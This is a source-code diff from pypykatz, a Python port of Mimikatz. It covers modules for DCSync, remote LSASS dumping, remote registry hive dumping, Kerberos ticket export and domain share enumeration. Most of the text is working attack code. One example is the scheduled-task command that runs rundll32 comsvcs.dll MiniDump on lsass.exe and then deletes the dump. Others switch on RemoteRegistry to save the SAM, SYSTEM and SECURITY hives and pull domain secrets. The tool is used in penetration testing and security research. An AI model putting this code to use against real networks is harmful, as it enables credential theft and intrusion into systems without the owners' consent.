511 | ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions | |
512 | results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) | |
513 | for luid in results[filename].logon_sessions: | |
514 | for kcred in results[filename].logon_sessions[luid].kerberos_creds: | |
515 | for ticket in kcred.tickets: | |
516 | ticket.to_kirbi(dir) | |
517 | ||
518 | for cred in results[filename].orphaned_creds: | |
519 | if cred.credtype == 'kerberos': | |
520 | for ticket in cred.tickets: | |
521 | ticket.to_kirbi(dir)⏎ |
0 | import asyncio | |
1 | from pypykatz import logging | |
2 | ||
3 | async def dcsync(url, username = None): | |
4 | from aiosmb.commons.connection.url import SMBConnectionURL | |
5 | from aiosmb.commons.interfaces.machine import SMBMachine | |
6 | ||
7 | smburl = SMBConnectionURL(url) | |
8 | connection = smburl.get_connection() | |
9 | ||
10 | users = [] | |
11 | if username is not None: | |
12 | users.append(username) | |
13 | ||
14 | async with connection: | |
15 | logging.debug('[DCSYNC] Connecting to server...') | |
16 | _, err = await connection.login() | |
17 | if err is not None: | |
18 | raise err | |
19 | ||
20 | logging.debug('[DCSYNC] Connected to server!') | |
21 | logging.debug('[DCSYNC] Running...') | |
22 | ||
23 | i = 0 | |
24 | async with SMBMachine(connection) as machine: | |
25 | async for secret, err in machine.dcsync(target_users=users): | |
26 | if err is not None: | |
27 | raise err | |
28 | i += 1 | |
29 | if i % 1000 == 0: | |
30 | logging.debug('[DCSYNC] Running... %s' % i) | |
31 | await asyncio.sleep(0) | |
32 | yield secret | |
33 | ||
34 | logging.debug('[DCSYNC] Finished!') | |
35 | ⏎ |
0 | import asyncio | |
1 | import os | |
2 | ||
3 | from pypykatz import logging | |
4 | ||
5 | async def lsassfile(url, packages = ['all'], chunksize = 64*1024): | |
6 | from aiosmb.commons.connection.url import SMBConnectionURL | |
7 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
8 | from pypykatz.apypykatz import apypykatz | |
9 | ||
10 | smburl = SMBConnectionURL(url) | |
11 | connection = smburl.get_connection() | |
12 | smbfile = smburl.get_file() | |
13 | ||
14 | async with connection: | |
15 | logging.debug('[LSASSFILE] Connecting to server...') | |
16 | _, err = await connection.login() | |
17 | if err is not None: | |
18 | raise err | |
19 | ||
20 | logging.debug('[LSASSFILE] Connected!') | |
21 | logging.debug('[LSASSFILE] Opening LSASS dump file...') | |
22 | _, err = await smbfile.open(connection) | |
23 | if err is not None: | |
24 | raise err | |
25 | ||
26 | logging.debug('[LSASSFILE] LSASS file opened!') | |
27 | logging.debug('[LSASSFILE] parsing LSASS file...') | |
28 | mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages = packages) | |
29 | logging.debug('[LSASSFILE] LSASS file parsed OK!') | |
30 | return mimi | |
31 | ||
32 | async def lsassdump(url, method = 'taskexec', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']): | |
33 | from aiosmb.commons.exceptions import SMBException | |
34 | from aiosmb.wintypes.ntstatus import NTStatus | |
35 | from aiosmb.commons.connection.url import SMBConnectionURL | |
36 | from aiosmb.commons.interfaces.machine import SMBMachine | |
37 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
38 | from aiosmb.commons.interfaces.file import SMBFile | |
39 | from pypykatz.apypykatz import apypykatz | |
40 | ||
41 | smburl = SMBConnectionURL(url) | |
42 | connection = smburl.get_connection() | |
43 | ||
44 | if remote_base_path.endswith('\\') is False: | |
45 | remote_base_path += '\\' | |
46 | ||
47 | if remote_share_name.endswith('\\') is False: | |
48 | remote_share_name += '\\' | |
49 | ||
50 | fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) | |
51 | filepath = remote_base_path + fname | |
52 | filesharepath = remote_share_name + fname | |
53 | ||
54 | if method == 'taskexec': | |
55 | cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath) | |
56 | commands = [cmd] | |
57 | ||
58 | else: | |
59 | raise Exception('Unknown execution method %s' % method) | |
60 | ||
61 | mimi = None | |
62 | async with connection: | |
63 | logging.debug('[LSASSDUMP] Connecting to server...') | |
64 | _, err = await connection.login() | |
65 | if err is not None: | |
66 | raise err | |
67 | logging.debug('[LSASSDUMP] Connected!') | |
68 | async with SMBMachine(connection) as machine: | |
69 | if method == 'taskexec': | |
70 | logging.debug('[LSASSDUMP] Start dumping LSASS with taskexec method!') | |
71 | logging.info('[LSASSDUMP] File location: %s' % filepath) | |
72 | _, err = await machine.tasks_execute_commands(commands) | |
73 | if err is not None: | |
74 | raise err | |
75 | ||
76 | logging.debug('[LSASSDUMP] Sleeping a bit to let the remote host finish dumping') | |
77 | await asyncio.sleep(10) | |
78 | ||
79 | else: | |
80 | raise Exception('Unknown execution method %s' % method) | |
81 | ||
82 | logging.debug('[LSASSDUMP] Opening LSASS dump file...') | |
83 | for _ in range(3): | |
84 | smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath)) | |
85 | _, err = await smbfile.open(connection) | |
86 | if err is not None: | |
87 | if isinstance(err, SMBException): | |
88 | if err.ntstatus == NTStatus.SHARING_VIOLATION: | |
89 | logging.debug('[LSASSDUMP] LSASS dump is not yet ready, retrying...') | |
90 | await asyncio.sleep(1) | |
91 | continue | |
92 | raise err | |
93 | break | |
94 | else: | |
95 | raise err | |
96 | ||
97 | logging.debug('[LSASSDUMP] LSASS dump file opened!') | |
98 | logging.debug('[LSASSDUMP] parsing LSASS dump file on the remote host...') | |
99 | mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages) | |
100 | ||
101 | logging.debug('[LSASSDUMP] parsing OK!') | |
102 | logging.debug('[LSASSDUMP] Deleting remote dump file...') | |
103 | _, err = await smbfile.delete() | |
104 | if err is not None: | |
105 | logging.info('[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) | |
106 | else: | |
107 | logging.info('[LSASSDUMP] remote LSASS file deleted OK!') | |
108 | ||
109 | return mimi⏎ |
0 | ||
1 | import asyncio | |
2 | import os | |
3 | ||
4 | from pypykatz import logging | |
5 | ||
6 | async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3): | |
7 | from aiosmb.commons.connection.url import SMBConnectionURL | |
8 | from aiosmb.commons.interfaces.machine import SMBMachine | |
9 | from aiosmb.commons.interfaces.file import SMBFile | |
10 | from aiosmb.dcerpc.v5.common.service import SMBServiceStatus | |
11 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
12 | from pypykatz.registry.aoffline_parser import OffineRegistry | |
13 | ||
14 | ||
15 | ||
16 | smburl = SMBConnectionURL(url) | |
17 | connection = smburl.get_connection() | |
18 | if remote_base_path.endswith('\\') is False: | |
19 | remote_base_path += '\\' | |
20 | ||
21 | if remote_share_name.endswith('\\') is False: | |
22 | remote_share_name += '\\' | |
23 | ||
24 | po = None | |
25 | ||
26 | async with connection: | |
27 | logging.debug('[REGDUMP] Connecting to server...') | |
28 | _, err = await connection.login() | |
29 | if err is not None: | |
30 | raise err | |
31 | ||
32 | logging.debug('[REGDUMP] Connected to server!') | |
33 | async with SMBMachine(connection) as machine: | |
34 | logging.debug('[REGDUMP] Checking remote registry service status...') | |
35 | status, err = await machine.check_service_status('RemoteRegistry') | |
36 | if err is not None: | |
37 | raise err | |
38 | ||
39 | logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) | |
40 | if status != SMBServiceStatus.RUNNING: | |
41 | logging.debug('[REGDUMP] Enabling Remote registry service') | |
42 | _, err = await machine.enable_service('RemoteRegistry') | |
43 | if err is not None: | |
44 | raise err | |
45 | logging.debug('[REGDUMP] Starting Remote registry service') | |
46 | _, err = await machine.start_service('RemoteRegistry') | |
47 | if err is not None: | |
48 | raise err | |
49 | ||
50 | await asyncio.sleep(enable_wait) | |
51 | ||
52 | ||
53 | ||
54 | logging.debug('[REGDUMP] Remote registry service should be running now...') | |
55 | files = {} | |
56 | for hive in hives: | |
57 | fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) | |
58 | remote_path = remote_base_path + fname | |
59 | remote_sharepath = remote_share_name + fname | |
60 | remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath)) | |
61 | files[hive.split('\\')[1].upper()] = remote_file | |
62 | ||
63 | logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) | |
64 | _, err = await machine.save_registry_hive(hive, remote_path) | |
65 | if err is not None: | |
66 | raise err | |
67 | ||
68 | #await asyncio.sleep(1) | |
69 | for rfilename in files: | |
70 | rfile = files[rfilename] | |
71 | logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) | |
72 | _, err = await rfile.open(connection) | |
73 | if err is not None: | |
74 | raise err | |
75 | ||
76 | try: | |
77 | logging.debug('[REGDUMP] Parsing hives...') | |
78 | po = await OffineRegistry.from_async_reader( | |
79 | files['SYSTEM'], | |
80 | sam_reader = files.get('SAM'), | |
81 | security_reader = files.get('SECURITY'), | |
82 | software_reader = files.get('SOFTWARE') | |
83 | ) | |
84 | except Exception as e: | |
85 | print(e) | |
86 | ||
87 | logging.debug('[REGDUMP] Hives parsed OK!') | |
88 | ||
89 | logging.debug('[REGDUMP] Deleting remote files...') | |
90 | err = None | |
91 | for rfilename in files: | |
92 | rfile = files[rfilename] | |
93 | err = await rfile.close() | |
94 | if err is not None: | |
95 | logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) | |
96 | ||
97 | _, err = await rfile.delete() | |
98 | if err is not None: | |
99 | logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) | |
100 | ||
101 | if err is None: | |
102 | logging.info('[REGDUMP] Deleting remote files OK!') | |
103 | return po | |
104 | ||
105 | ||
106 | ||
107 | async def regfile(url, system, sam = None, security = None, software = None, smb_basepath = None): | |
108 | from aiosmb.commons.connection.url import SMBConnectionURL | |
109 | from aiosmb.commons.interfaces.file import SMBFile | |
110 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
111 | from pypykatz.registry.aoffline_parser import OffineRegistry | |
112 | ||
113 | smburl = SMBConnectionURL(url) | |
114 | connection = smburl.get_connection() | |
115 | ||
116 | if smb_basepath is None: | |
117 | smb_basepath = smburl.path | |
118 | if smb_basepath.endswith('/') is False: | |
119 | smb_basepath += '/' | |
120 | smb_basepath = smb_basepath.replace('/', '\\') | |
121 | ||
122 | system_smbfile_path = smb_basepath + system | |
123 | sam_smbfile = None | |
124 | security_smbfile = None | |
125 | software_smbfile = None | |
126 | ||
127 | ||
128 | system_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, system_smbfile_path)) | |
129 | ||
130 | if sam: | |
131 | sam_smbfile_path = smb_basepath + sam | |
132 | sam_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, sam_smbfile_path)) | |
133 | ||
134 | if security: | |
135 | security_smbfile_path = smb_basepath + security | |
136 | security_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, security_smbfile_path)) | |
137 | ||
138 | if software: | |
139 | software_smbfile_path = smb_basepath + software | |
140 | software_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, software_smbfile_path)) | |
141 | ||
142 | po = None | |
143 | async with connection: | |
144 | logging.debug('[REGFILE] Connecting to server...') | |
145 | _, err = await connection.login() | |
146 | if err is not None: | |
147 | raise err | |
148 | ||
149 | logging.debug('[REGFILE] Connected to server!') | |
150 | logging.debug('[REGFILE] Opening SYSTEM hive dump file...') | |
151 | # parse files here | |
152 | _, err = await system_smbfile.open(connection) | |
153 | if err is not None: | |
154 | raise err | |
155 | ||
156 | if sam_smbfile is not None: | |
157 | logging.debug('[REGFILE] Opening SAM hive dump file...') | |
158 | _, err = await sam_smbfile.open(connection) | |
159 | if err is not None: | |
160 | raise err | |
161 | ||
162 | if security_smbfile is not None: | |
163 | logging.debug('[REGFILE] Opening SECURITY hive dump file...') | |
164 | _, err = await security_smbfile.open(connection) | |
165 | if err is not None: | |
166 | raise err | |
167 | ||
168 | if software_smbfile is not None: | |
169 | logging.debug('[REGFILE] Opening SOFTWARE hive dump file...') | |
170 | _, err = await software_smbfile.open(connection) | |
171 | if err is not None: | |
172 | raise err | |
173 | ||
174 | logging.debug('[REGFILE] All files opened OK!') | |
175 | logging.debug('[REGFILE] Parsing hive files...') | |
176 | po = await OffineRegistry.from_async_reader(system_smbfile, sam_reader = sam_smbfile, security_reader = security_smbfile, software_reader = software_smbfile) | |
177 | logging.debug('[REGFILE] Hive files parsed OK!') | |
178 | ||
179 | return po⏎ |
0 | import asyncio | |
1 | import os | |
2 | ||
3 | from pypykatz import logging | |
4 | from msldap.commons.url import MSLDAPURLDecoder | |
5 | from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen | |
6 | ||
7 | def get_smb_url(authmethod = 'ntlm', protocol_version = '2', host = None): | |
8 | from winacl.functions.highlevel import get_logon_info | |
9 | info = get_logon_info() | |
10 | logonserver = info['logonserver'] | |
11 | if host is not None: | |
12 | logonserver = host | |
13 | ||
14 | return 'smb%s+sspi-%s://%s\\%s@%s' % (protocol_version, authmethod, info['domain'], info['username'], logonserver) | |
15 | ||
16 | ||
17 | def get_ldap_url(authmethod = 'ntlm', host = None): | |
18 | from winacl.functions.highlevel import get_logon_info | |
19 | info = get_logon_info() | |
20 | ||
21 | logonserver = info['logonserver'] | |
22 | if host is not None: | |
23 | logonserver = host | |
24 | ||
25 | return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver) | |
26 | ||
27 | class LDAPTargetGen: | |
28 | def __init__(self, url): | |
29 | self.url = url | |
30 | ||
31 | async def generate(self): | |
32 | try: | |
33 | conn_url = MSLDAPURLDecoder(self.url) | |
34 | connection = conn_url.get_client() | |
35 | _, err = await connection.connect() | |
36 | if err is not None: | |
37 | raise err | |
38 | ||
39 | adinfo = connection._ldapinfo | |
40 | domain_name = adinfo.distinguishedName.replace('DC','').replace('=','').replace(',','.') | |
41 | ||
42 | async for machine, err in connection.get_all_machines(attrs=['sAMAccountName', 'dNSHostName', 'objectSid']): | |
43 | if err is not None: | |
44 | raise err | |
45 | ||
46 | dns = machine.dNSHostName | |
47 | if dns is None: | |
48 | dns = '%s.%s' % (machine.sAMAccountName[:-1], domain_name) | |
49 | ||
50 | yield str(machine.objectSid), str(dns), None | |
51 | ||
52 | except Exception as e: | |
53 | yield None, None, e | |
54 | ||
55 | ||
56 | async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count = 10, depth = 3, out_file = None, progress = False, max_items = None, dirsd = False, filesd = False, authmethod = 'ntlm', protocol_version = '2', output_type = 'str', max_runtime = None, exclude_share = ['print$'], exclude_dir = [], exclude_target = []): | |
57 | from aiosmb.commons.connection.url import SMBConnectionURL | |
58 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
59 | from pypykatz.apypykatz import apypykatz | |
60 | ||
61 | ||
62 | if targets is None and ldap_url is None: | |
63 | raise Exception('Shareenum needs a list of targets or LDAP connection string') | |
64 | ||
65 | if smb_url == 'auto': | |
66 | smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version) | |
67 | ||
68 | enumerator = SMBFileEnum( | |
69 | smb_url, | |
70 | worker_count = smb_worker_count, | |
71 | depth = depth, | |
72 | out_file = out_file, | |
73 | show_pbar = progress, | |
74 | max_items = max_items, | |
75 | fetch_dir_sd = dirsd, | |
76 | fetch_file_sd = filesd, | |
77 | output_type = output_type, | |
78 | max_runtime = max_runtime, | |
79 | exclude_share = exclude_share, | |
80 | exclude_dir = exclude_dir, | |
81 | exclude_target = exclude_target | |
82 | ) | |
83 | ||
84 | notfile = [] | |
85 | if targets is not None: | |
86 | for target in targets: | |
87 | try: | |
88 | f = open(target, 'r') | |
89 | f.close() | |
90 | enumerator.target_gens.append(FileTargetGen(target)) | |
91 | except: | |
92 | notfile.append(target) | |
93 | ||
94 | if len(notfile) > 0: | |
95 | enumerator.target_gens.append(ListTargetGen(notfile)) | |
96 | ||
97 | if ldap_url is not None: | |
98 | if ldap_url == 'auto': | |
99 | ldap_url = get_ldap_url(authmethod=authmethod) | |
100 | enumerator.target_gens.append(LDAPTargetGen(ldap_url)) | |
101 | ||
102 | if len(enumerator.target_gens) == 0: | |
103 | raise Exception('No suitable targets found!') | |
104 | ||
105 | await enumerator.run() |
0 | import zlib | |
1 | import base64 | |
2 | ||
3 | class Sake: | |
4 | def __init__(self): | |
5 | self.pic_comp = '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' | |
6 | ||
7 | def draw(self): | |
8 | return zlib.decompress(base64.b64decode(self.pic_comp)).decode('ascii')⏎ |
0 | 0 | Metadata-Version: 1.2 |
1 | 1 | Name: pypykatz |
2 | Version: 0.3.7 | |
2 | Version: 0.4.9 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
6 | Author-email: [email protected] | |
6 | Author-email: [email protected] | |
7 | 7 | License: UNKNOWN |
8 | 8 | Description: UNKNOWN |
9 | 9 | Platform: UNKNOWN |
0 | LICENSE | |
1 | MANIFEST.in | |
0 | 2 | README.md |
1 | 3 | setup.py |
4 | pypykatz/__amain__.py | |
2 | 5 | pypykatz/__init__.py |
3 | 6 | pypykatz/__main__.py |
4 | 7 | pypykatz/_version.py |
8 | pypykatz/apypykatz.py | |
9 | pypykatz/argparsertest.py | |
10 | pypykatz/argpretty.py | |
11 | pypykatz/debugfile.py | |
5 | 12 | pypykatz/pypykatz.py |
6 | 13 | pypykatz.egg-info/PKG-INFO |
7 | 14 | pypykatz.egg-info/SOURCES.txt |
10 | 17 | pypykatz.egg-info/requires.txt |
11 | 18 | pypykatz.egg-info/top_level.txt |
12 | 19 | pypykatz.egg-info/zip-safe |
20 | pypykatz/alsadecryptor/__init__.py | |
21 | pypykatz/alsadecryptor/asbmfile.py | |
22 | pypykatz/alsadecryptor/cmdhelper.py | |
23 | pypykatz/alsadecryptor/lsa_decryptor.py | |
24 | pypykatz/alsadecryptor/lsa_decryptor_nt5.py | |
25 | pypykatz/alsadecryptor/lsa_decryptor_nt6.py | |
26 | pypykatz/alsadecryptor/lsa_template_nt5.py | |
27 | pypykatz/alsadecryptor/lsa_template_nt6.py | |
28 | pypykatz/alsadecryptor/lsa_templates.py | |
29 | pypykatz/alsadecryptor/package_commons.py | |
30 | pypykatz/alsadecryptor/win_datatypes.py | |
31 | pypykatz/alsadecryptor/packages/__init__.py | |
32 | pypykatz/alsadecryptor/packages/cloudap/__init__.py | |
33 | pypykatz/alsadecryptor/packages/cloudap/decryptor.py | |
34 | pypykatz/alsadecryptor/packages/cloudap/templates.py | |
35 | pypykatz/alsadecryptor/packages/credman/__init__.py | |
36 | pypykatz/alsadecryptor/packages/credman/templates.py | |
37 | pypykatz/alsadecryptor/packages/dpapi/__init__.py | |
38 | pypykatz/alsadecryptor/packages/dpapi/decryptor.py | |
39 | pypykatz/alsadecryptor/packages/dpapi/templates.py | |
40 | pypykatz/alsadecryptor/packages/kerberos/__init__.py | |
41 | pypykatz/alsadecryptor/packages/kerberos/decryptor.py | |
42 | pypykatz/alsadecryptor/packages/kerberos/templates.py | |
43 | pypykatz/alsadecryptor/packages/livessp/__init__.py | |
44 | pypykatz/alsadecryptor/packages/livessp/decryptor.py | |
45 | pypykatz/alsadecryptor/packages/livessp/templates.py | |
46 | pypykatz/alsadecryptor/packages/msv/__init__.py | |
47 | pypykatz/alsadecryptor/packages/msv/decryptor.py | |
48 | pypykatz/alsadecryptor/packages/msv/templates.py | |
49 | pypykatz/alsadecryptor/packages/ssp/__init__.py | |
50 | pypykatz/alsadecryptor/packages/ssp/decryptor.py | |
51 | pypykatz/alsadecryptor/packages/ssp/templates.py | |
52 | pypykatz/alsadecryptor/packages/tspkg/__init__.py | |
53 | pypykatz/alsadecryptor/packages/tspkg/decryptor.py | |
54 | pypykatz/alsadecryptor/packages/tspkg/templates.py | |
55 | pypykatz/alsadecryptor/packages/wdigest/__init__.py | |
56 | pypykatz/alsadecryptor/packages/wdigest/decryptor.py | |
57 | pypykatz/alsadecryptor/packages/wdigest/templates.py | |
13 | 58 | pypykatz/commons/__init__.py |
14 | 59 | pypykatz/commons/common.py |
15 | 60 | pypykatz/commons/filetime.py |
61 | 106 | pypykatz/commons/winapi/local/function_defs/psapi.py |
62 | 107 | pypykatz/commons/winapi/local/function_defs/version.py |
63 | 108 | pypykatz/commons/winapi/local/function_defs/winreg.py |
109 | pypykatz/crypto/MD4.py | |
64 | 110 | pypykatz/crypto/RC4.py |
65 | 111 | pypykatz/crypto/__init__.py |
66 | 112 | pypykatz/crypto/des.py |
70 | 116 | pypykatz/crypto/aes/util.py |
71 | 117 | pypykatz/crypto/unified/__init__.py |
72 | 118 | pypykatz/crypto/unified/aes.py |
119 | pypykatz/crypto/unified/aesgcm.py | |
73 | 120 | pypykatz/crypto/unified/common.py |
74 | 121 | pypykatz/crypto/unified/des.py |
75 | 122 | pypykatz/crypto/unified/des3.py |
123 | pypykatz/crypto/unified/gcmtest.py | |
76 | 124 | pypykatz/crypto/unified/pbkdf2.py |
77 | 125 | pypykatz/crypto/unified/pkcs7.py |
78 | 126 | pypykatz/dpapi/__init__.py |
127 | pypykatz/dpapi/cmdhelper.py | |
79 | 128 | pypykatz/dpapi/constants.py |
80 | 129 | pypykatz/dpapi/dpapi.py |
130 | pypykatz/dpapi/functiondefs/__init__.py | |
131 | pypykatz/dpapi/functiondefs/dpapi.py | |
81 | 132 | pypykatz/dpapi/structures/__init__.py |
82 | 133 | pypykatz/dpapi/structures/blob.py |
83 | 134 | pypykatz/dpapi/structures/credentialfile.py |
84 | 135 | pypykatz/dpapi/structures/masterkeyfile.py |
85 | 136 | pypykatz/dpapi/structures/system.py |
86 | 137 | pypykatz/dpapi/structures/vault.py |
138 | pypykatz/example/__init__.py | |
139 | pypykatz/example/phandle_dll.py | |
87 | 140 | pypykatz/kerberos/__init__.py |
88 | 141 | pypykatz/kerberos/cmdhelper.py |
142 | pypykatz/kerberos/kerberos.py | |
143 | pypykatz/kerberos/kerberoslive.py | |
144 | pypykatz/kerberos/kirbiutils.py | |
145 | pypykatz/kerberos/functiondefs/__init__.py | |
146 | pypykatz/kerberos/functiondefs/advapi32.py | |
147 | pypykatz/kerberos/functiondefs/asn1structs.py | |
148 | pypykatz/kerberos/functiondefs/kernel32.py | |
149 | pypykatz/kerberos/functiondefs/netsecapi.py | |
89 | 150 | pypykatz/ldap/__init__.py |
90 | 151 | pypykatz/ldap/cmdhelper.py |
91 | 152 | pypykatz/lsadecryptor/__init__.py |
98 | 159 | pypykatz/lsadecryptor/lsa_templates.py |
99 | 160 | pypykatz/lsadecryptor/package_commons.py |
100 | 161 | pypykatz/lsadecryptor/packages/__init__.py |
162 | pypykatz/lsadecryptor/packages/cloudap/__init__.py | |
163 | pypykatz/lsadecryptor/packages/cloudap/decryptor.py | |
164 | pypykatz/lsadecryptor/packages/cloudap/templates.py | |
101 | 165 | pypykatz/lsadecryptor/packages/credman/__init__.py |
102 | 166 | pypykatz/lsadecryptor/packages/credman/templates.py |
103 | 167 | pypykatz/lsadecryptor/packages/dpapi/__init__.py |
124 | 188 | pypykatz/plugins/__init__.py |
125 | 189 | pypykatz/plugins/pypykatz_rekall.py |
126 | 190 | pypykatz/registry/__init__.py |
191 | pypykatz/registry/aoffline_parser.py | |
127 | 192 | pypykatz/registry/cmdhelper.py |
128 | 193 | pypykatz/registry/live_parser.py |
129 | 194 | pypykatz/registry/offline_parser.py |
130 | 195 | pypykatz/registry/sam/__init__.py |
196 | pypykatz/registry/sam/asam.py | |
131 | 197 | pypykatz/registry/sam/common.py |
132 | 198 | pypykatz/registry/sam/sam.py |
133 | 199 | pypykatz/registry/sam/structures.py |
134 | 200 | pypykatz/registry/security/__init__.py |
201 | pypykatz/registry/security/asecurity.py | |
135 | 202 | pypykatz/registry/security/common.py |
136 | 203 | pypykatz/registry/security/security.py |
137 | 204 | pypykatz/registry/security/structures.py |
138 | 205 | pypykatz/registry/software/__init__.py |
206 | pypykatz/registry/software/asoftware.py | |
139 | 207 | pypykatz/registry/software/software.py |
140 | 208 | pypykatz/registry/system/__init__.py |
209 | pypykatz/registry/system/asystem.py | |
141 | 210 | pypykatz/registry/system/system.py |
142 | 211 | pypykatz/remote/__init__.py |
143 | 212 | pypykatz/remote/cmdhelper.py |
150 | 219 | pypykatz/remote/live/session/enumerator.py |
151 | 220 | pypykatz/remote/live/share/__init__.py |
152 | 221 | pypykatz/remote/live/share/enumerator.py |
222 | pypykatz/smb/__init__.py | |
223 | pypykatz/smb/cmdhelper.py | |
